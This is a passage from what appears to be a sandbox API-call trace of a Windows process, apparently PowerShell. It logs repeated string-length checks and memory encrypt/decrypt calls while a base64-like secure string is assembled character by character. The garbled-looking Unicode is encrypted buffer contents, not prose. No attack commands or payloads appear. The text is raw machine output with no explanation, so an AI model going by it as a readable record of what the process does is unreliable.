(param_1="텆쮅琷焱鸓໤헁ꝰ빴掉쯻䙧횩憻上") returned 0x10 [0190.640] SysStringLen (param_1="텆쮅琷焱鸓໤헁ꝰ빴掉쯻䙧횩憻上") returned 0x10 [0190.640] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.640] SysStringLen (param_1="6nzZvAyhnSn5bAS᣺") returned 0x10 [0190.640] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.640] SysStringLen (param_1="텆쮅琷焱鸓໤헁쮋㕜ﵲ䫗㨤ོ魀夊") returned 0x10 [0190.640] SysStringLen (param_1="텆쮅琷焱鸓໤헁쮋㕜ﵲ䫗㨤ོ魀夊") returned 0x10 [0190.640] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.641] SysStringLen (param_1="6nzZvAyhnSn5bAS3") returned 0x10 [0190.641] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.641] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ∹) returned 0x10 [0190.642] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ∹) returned 0x10 [0190.642] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ∹) returned 0x10 [0190.642] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ∹) returned 0x18 [0190.642] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.642] SysStringLen (param_1="6nzZvAyhnSn5bAS3v暮咛麅削Ḿ\㿚⋴) returned 0x18 [0190.642] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.642] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ㤹ᄞ釨侜ǥꔈﲾ≫) returned 0x18 [0190.642] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ㤹ᄞ釨侜ǥꔈﲾ≫) returned 0x18 [0190.642] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.643] SysStringLen (param_1="6nzZvAyhnSn5bAS3vE咛麅削Ḿ\㿚⋴) returned 0x18 [0190.643] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.643] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ唹ሯ햪㨸쵨꨻﫵섳⋷) returned 0x18 [0190.643] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ唹ሯ햪㨸쵨꨻﫵섳⋷) returned 0x18 [0190.643] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.643] SysStringLen (param_1="6nzZvAyhnSn5bAS3vEa麅削Ḿ\㿚⋴) returned 0x18 [0190.643] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.643] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ딹㤧푫ꭦ⾸龺验䉛⊒) returned 0x18 [0190.643] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ딹㤧푫ꭦ⾸龺验䉛⊒) returned 0x18 [0190.643] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.644] SysStringLen (param_1="6nzZvAyhnSn5bAS3vEaD削Ḿ\㿚⋴) returned 0x18 [0190.644] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.644] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩḹ调⸌铉酧꘤∳) returned 0x18 [0190.644] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩḹ调⸌铉酧꘤∳) returned 0x18 [0190.644] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.644] SysStringLen (param_1="6nzZvAyhnSn5bAS3vEaD9Ḿ\㿚⋴) returned 0x18 [0190.644] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.644] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ焹䢺ર轐牯䉇鷊\瓜") returned 0x18 [0190.644] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ焹䢺ર轐牯䉇鷊\瓜") returned 0x18 [0190.644] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.645] SysStringLen (param_1="6nzZvAyhnSn5bAS3vEaD9R\㿚⋴) returned 0x18 [0190.645] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.645] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩᮿ髵氧ⴓ旁률≌) returned 0x18 [0190.645] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩᮿ髵氧ⴓ旁률≌) returned 0x18 [0190.645] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.645] SysStringLen (param_1="6nzZvAyhnSn5bAS3vEaD9RK") returned 0x18 [0190.645] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.645] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ瀹ꁧ澖ف퇄᠈쓇ｰ⋻) returned 0x18 [0190.645] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ瀹ꁧ澖ف퇄᠈쓇ｰ⋻) returned 0x18 [0190.645] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.645] SysStringLen (param_1="6nzZvAyhnSn5bAS3vEaD9RKO") returned 0x18 [0190.645] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.646] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ根㷳ꀱΙ鼎猪邶\") returned 0x18 [0190.646] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ根㷳ꀱΙ鼎猪邶\") returned 0x18 [0190.646] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ根㷳ꀱΙ鼎猪邶\") returned 0x18 [0190.646] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ根㷳ꀱΙ鼎猪邶\") returned 0x20 [0190.646] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.646] SysStringLen (param_1="6nzZvAyhnSn5bAS3vEaD9RKOGন듍ꅰ\x0c竣⟥") returned 0x20 [0190.646] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.646] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ根㷳ꀱΙ鼎猪邶\䷠ᜌ䒰훊͏玶䰸") returned 0x20 [0190.646] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ根㷳ꀱΙ鼎猪邶\䷠ᜌ䒰훊͏玶䰸") returned 0x20 [0190.647] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.647] SysStringLen (param_1="6nzZvAyhnSn5bAS3vEaD9RKOGC듍ꅰ\x0c竣⟥") returned 0x20 [0190.647] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.647] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ根㷳ꀱΙ鼎猪邶\篼㐮鍈簃䷉푁㛸") returned 0x20 [0190.647] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ根㷳ꀱΙ鼎猪邶\篼㐮鍈簃䷉푁㛸") returned 0x20 [0190.647] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.647] SysStringLen (param_1="6nzZvAyhnSn5bAS3vEaD9RKOGCD듍ꅰ\x0c竣⟥") returned 0x20 [0190.647] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.647] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ根㷳ꀱΙ鼎猪邶\靣豶폑樚怀") returned 0x20 [0190.647] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ根㷳ꀱΙ鼎猪邶\靣豶폑樚怀") returned 0x20 [0190.648] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.648] SysStringLen (param_1="6nzZvAyhnSn5bAS3vEaD9RKOGCD/ꅰ\x0c竣⟥") returned 0x20 [0190.648] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.648] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ根㷳ꀱΙ鼎猪邶\렻❷챎鑊泛潬ު汚") returned 0x20 [0190.648] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ根㷳ꀱΙ鼎猪邶\렻❷챎鑊泛潬ު汚") returned 0x20 [0190.648] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.648] SysStringLen (param_1="6nzZvAyhnSn5bAS3vEaD9RKOGCD/z\x0c竣⟥") returned 0x20 [0190.648] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.648] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ根㷳ꀱΙ鼎猪邶\笻䩰쪽Ⴖ뚩ⱊ튃텘") returned 0x20 [0190.648] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ根㷳ꀱΙ鼎猪邶\笻䩰쪽Ⴖ뚩ⱊ튃텘") returned 0x20 [0190.649] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.649] SysStringLen (param_1="6nzZvAyhnSn5bAS3vEaD9RKOGCD/zV竣⟥") returned 0x20 [0190.649] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.649] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ根㷳ꀱΙ鼎猪邶\낤ᰝ⑯争멥") returned 0x20 [0190.649] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ根㷳ꀱΙ鼎猪邶\낤ᰝ⑯争멥") returned 0x20 [0190.649] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.649] SysStringLen (param_1="6nzZvAyhnSn5bAS3vEaD9RKOGCD/zVQ⟥") returned 0x20 [0190.649] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.649] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ根㷳ꀱΙ鼎猪邶\鷹鸀绁㧔穨賠ꗎ") returned 0x20 [0190.650] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ根㷳ꀱΙ鼎猪邶\鷹鸀绁㧔穨賠ꗎ") returned 0x20 [0190.650] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.650] SysStringLen (param_1="6nzZvAyhnSn5bAS3vEaD9RKOGCD/zVQg") returned 0x20 [0190.650] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.650] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ根㷳ꀱΙ鼎猪邶\䥧ᜪ侯颸ⲋ˂") returned 0x20 [0190.650] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ根㷳ꀱΙ鼎猪邶\䥧ᜪ侯颸ⲋ˂") returned 0x20 [0190.650] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ根㷳ꀱΙ鼎猪邶\䥧ᜪ侯颸ⲋ˂") returned 0x20 [0190.650] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ根㷳ꀱΙ鼎猪邶\䥧ᜪ侯颸ⲋ˂") returned 0x28 [0190.650] SystemFunction041 (in: Memory=0x3c095c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c095c) returned 0x0 [0190.650] SysStringLen (param_1="6nzZvAyhnSn5bAS3vEaD9RKOGCD/zVQgD\䏞慠埵놚㡱∺) returned 0x28 [0190.650] SystemFunction040 (in: Memory=0x3c095c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c095c) returned 0x0 [0190.651] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ根㷳ꀱΙ鼎猪邶\䥧ᜪ侯颸ⲋ˂ᑎ粰裓扶桮㹢需䅬") returned 0x28 [0190.651] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ根㷳ꀱΙ鼎猪邶\䥧ᜪ侯颸ⲋ˂ᑎ粰裓扶桮㹢需䅬") returned 0x28 [0190.651] SystemFunction041 (in: Memory=0x3c095c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c095c) returned 0x0 [0190.651] SysStringLen (param_1="6nzZvAyhnSn5bAS3vEaD9RKOGCD/zVQgDw恃ፗ髴熱㨸") returned 0x28 [0190.651] SystemFunction040 (in: Memory=0x3c095c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c095c) returned 0x0 [0190.651] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ根㷳ꀱΙ鼎猪邶\䥧ᜪ侯颸ⲋ˂䖌ɘ의ﭖ总㩆稬") returned 0x28 [0190.651] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ根㷳ꀱΙ鼎猪邶\䥧ᜪ侯颸ⲋ˂䖌ɘ의ﭖ总㩆稬") returned 0x28 [0190.651] SystemFunction041 (in: Memory=0x3c095c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c095c) returned 0x0 [0190.651] SysStringLen (param_1="6nzZvAyhnSn5bAS3vEaD9RKOGCD/zVQgDwRፗ髴熱㨸") returned 0x28 [0190.651] SystemFunction040 (in: Memory=0x3c095c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c095c) returned 0x0 [0190.651] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ根㷳ꀱΙ鼎猪邶\䥧ᜪ侯颸ⲋ˂굲䍔쀔氆葆駾뗒") returned 0x28 [0190.651] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ根㷳ꀱΙ鼎猪邶\䥧ᜪ侯颸ⲋ˂굲䍔쀔氆葆駾뗒") returned 0x28 [0190.651] SystemFunction041 (in: Memory=0x3c095c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c095c) returned 0x0 [0190.652] SysStringLen (param_1="6nzZvAyhnSn5bAS3vEaD9RKOGCD/zVQgDwRPፗ髴熱㨸") returned 0x28 [0190.652] SystemFunction040 (in: Memory=0x3c095c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c095c) returned 0x0 [0190.652] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ根㷳ꀱΙ鼎猪邶\䥧ᜪ侯颸ⲋ˂箯洣꽮ﮗ䓖湄䇡\⋝) returned 0x28 [0190.652] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ根㷳ꀱΙ鼎猪邶\䥧ᜪ侯颸ⲋ˂箯洣꽮ﮗ䓖湄䇡\⋝) returned 0x28 [0190.652] SystemFunction041 (in: Memory=0x3c095c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c095c) returned 0x0 [0190.652] SysStringLen (param_1="6nzZvAyhnSn5bAS3vEaD9RKOGCD/zVQgDwRPF髴熱㨸") returned 0x28 [0190.652] SystemFunction040 (in: Memory=0x3c095c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c095c) returned 0x0 [0190.652] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ根㷳ꀱΙ鼎猪邶\䥧ᜪ侯颸ⲋ˂䬰ꣅꥰ拳䩱悥赎꣨") returned 0x28 [0190.652] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ根㷳ꀱΙ鼎猪邶\䥧ᜪ侯颸ⲋ˂䬰ꣅꥰ拳䩱悥赎꣨") returned 0x28 [0190.652] SystemFunction041 (in: Memory=0x3c095c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c095c) returned 0x0 [0190.652] SysStringLen (param_1="6nzZvAyhnSn5bAS3vEaD9RKOGCD/zVQgDwRPFl熱㨸") returned 0x28 [0190.652] SystemFunction040 (in: Memory=0x3c095c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c095c) returned 0x0 [0190.653] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ根㷳ꀱΙ鼎猪邶\䥧ᜪ侯颸ⲋ˂츟䱁塵䶤瓁丅刢俩") returned 0x28 [0190.653] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ根㷳ꀱΙ鼎猪邶\䥧ᜪ侯颸ⲋ˂츟䱁塵䶤瓁丅刢俩") returned 0x28 [0190.653] SystemFunction041 (in: Memory=0x3c095c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c095c) returned 0x0 [0190.653] SysStringLen (param_1="6nzZvAyhnSn5bAS3vEaD9RKOGCD/zVQgDwRPFle㨸") returned 0x28 [0190.653] SystemFunction040 (in: Memory=0x3c095c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c095c) returned 0x0 [0190.653] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ根㷳ꀱΙ鼎猪邶\䥧ᜪ侯颸ⲋ˂瀐◔೿쇂胥") returned 0x28 [0190.653] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ根㷳ꀱΙ鼎猪邶\䥧ᜪ侯颸ⲋ˂瀐◔೿쇂胥") returned 0x28 [0190.653] SystemFunction041 (in: Memory=0x3c095c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c095c) returned 0x0 [0190.653] SysStringLen (param_1="6nzZvAyhnSn5bAS3vEaD9RKOGCD/zVQgDwRPFlep") returned 0x28 [0190.653] SystemFunction040 (in: Memory=0x3c095c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c095c) returned 0x0 [0190.653] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ根㷳ꀱΙ鼎猪邶\䥧ᜪ侯颸ⲋ˂錄ᨎ戵덂邝ｄ᫇") returned 0x28 [0190.654] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ根㷳ꀱΙ鼎猪邶\䥧ᜪ侯颸ⲋ˂錄ᨎ戵덂邝ｄ᫇") returned 0x28 [0190.654] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ根㷳ꀱΙ鼎猪邶\䥧ᜪ侯颸ⲋ˂錄ᨎ戵덂邝ｄ᫇") returned 0x28 [0190.654] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ根㷳ꀱΙ鼎猪邶\䥧ᜪ侯颸ⲋ˂錄ᨎ戵덂邝ｄ᫇") returned 0x30 [0190.654] SystemFunction041 (in: Memory=0x3da2c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da2c4) returned 0x0 [0190.654] SysStringLen (param_1="6nzZvAyhnSn5bAS3vEaD9RKOGCD/zVQgDwRPFlepu⊛鳷\귘㜦ﲌ⋗) returned 0x30 [0190.654] SystemFunction040 (in: Memory=0x3da2c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da2c4) returned 0x0 [0190.654] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ根㷳ꀱΙ鼎猪邶\䥧ᜪ侯颸ⲋ˂錄ᨎ戵덂邝ｄ᫇⾀瞦ᄋ蒂︓鉚쪇") returned 0x30 [0190.654] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ根㷳ꀱΙ鼎猪邶\䥧ᜪ侯颸ⲋ˂錄ᨎ戵덂邝ｄ᫇⾀瞦ᄋ蒂︓鉚쪇") returned 0x30 [0190.654] SystemFunction041 (in: Memory=0x3da2c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da2c4) returned 0x0 [0190.654] SysStringLen (param_1="6nzZvAyhnSn5bAS3vEaD9RKOGCD/zVQgDwRPFlepuO鳷\귘㜦ﲌ⋗) returned 0x30 [0190.654] SystemFunction040 (in: Memory=0x3da2c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da2c4) returned 0x0 [0190.654] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ根㷳ꀱΙ鼎猪邶\䥧ᜪ侯颸ⲋ˂錄ᨎ戵덂邝ｄ᫇㐹겨廴ꌐ毊ꂯꯪ") returned 0x30 [0190.654] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ根㷳ꀱΙ鼎猪邶\䥧ᜪ侯颸ⲋ˂錄ᨎ戵덂邝ｄ᫇㐹겨廴ꌐ毊ꂯꯪ") returned 0x30 [0190.654] SystemFunction041 (in: Memory=0x3da2c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da2c4) returned 0x0 [0190.655] SysStringLen (param_1="6nzZvAyhnSn5bAS3vEaD9RKOGCD/zVQgDwRPFlepuOw\귘㜦ﲌ⋗) returned 0x30 [0190.655] SystemFunction040 (in: Memory=0x3da2c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da2c4) returned 0x0 [0190.655] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ根㷳ꀱΙ鼎猪邶\䥧ᜪ侯颸ⲋ˂錄ᨎ戵덂邝ｄ᫇㓵콆慞⑩谬渿磾") returned 0x30 [0190.655] SysStringLen (param_1="텆쮅琷焱鸓໤헁즸帻⏲⑋\䇙膨ҩ根㷳ꀱΙ鼎猪邶\䥧ᜪ侯颸ⲋ˂錄ᨎ戵덂邝ｄ᫇㓵콆慞⑩谬渿磾") returned 0x30 [0190.655] SystemFunction041 (in: Memory=0x3da2c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da2c4) returned 0x0 [0190.655] SysStringLen (param_1="6nzZvAyhnSn5bAS3vEaD9RKOGCD/zVQgDwRPFlepuOw=㢭⛢谷퟼") returned 0x30 [0190.655] SystemFunction040 (in: Memory=0x3da2c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da2c4) returned 0x0 [0190.655] EtwEventActivityIdControl () returned 0x0 [0190.655] EtwEventActivityIdControl () returned 0x0 [0190.655] EtwEventActivityIdControl () returned 0x0 [0190.688] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e600, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0190.689] EtwEventActivityIdControl () returned 0x0 [0190.689] EtwEventActivityIdControl () returned 0x0 [0190.689] EtwEventActivityIdControl () returned 0x0 [0190.690] SysStringLen (param_1="") returned 0x8 [0190.690] SysStringLen (param_1="N") returned 0x8 [0190.690] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.690] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0190.691] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0190.691] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.691] SysStringLen (param_1="ND") returned 0x8 [0190.691] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.691] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0190.691] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0190.691] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.691] SysStringLen (param_1="NDZ") returned 0x8 [0190.691] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.691] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0190.691] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0190.691] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.692] SysStringLen (param_1="NDZl") returned 0x8 [0190.692] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.692] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0190.692] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0190.692] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.692] SysStringLen (param_1="NDZlO") returned 0x8 [0190.692] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.692] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0190.692] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0190.692] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.693] SysStringLen (param_1="NDZlOD") returned 0x8 [0190.693] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.693] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0190.693] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0190.693] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.693] SysStringLen (param_1="NDZlODR") returned 0x8 [0190.693] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.693] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0190.693] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0190.693] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: 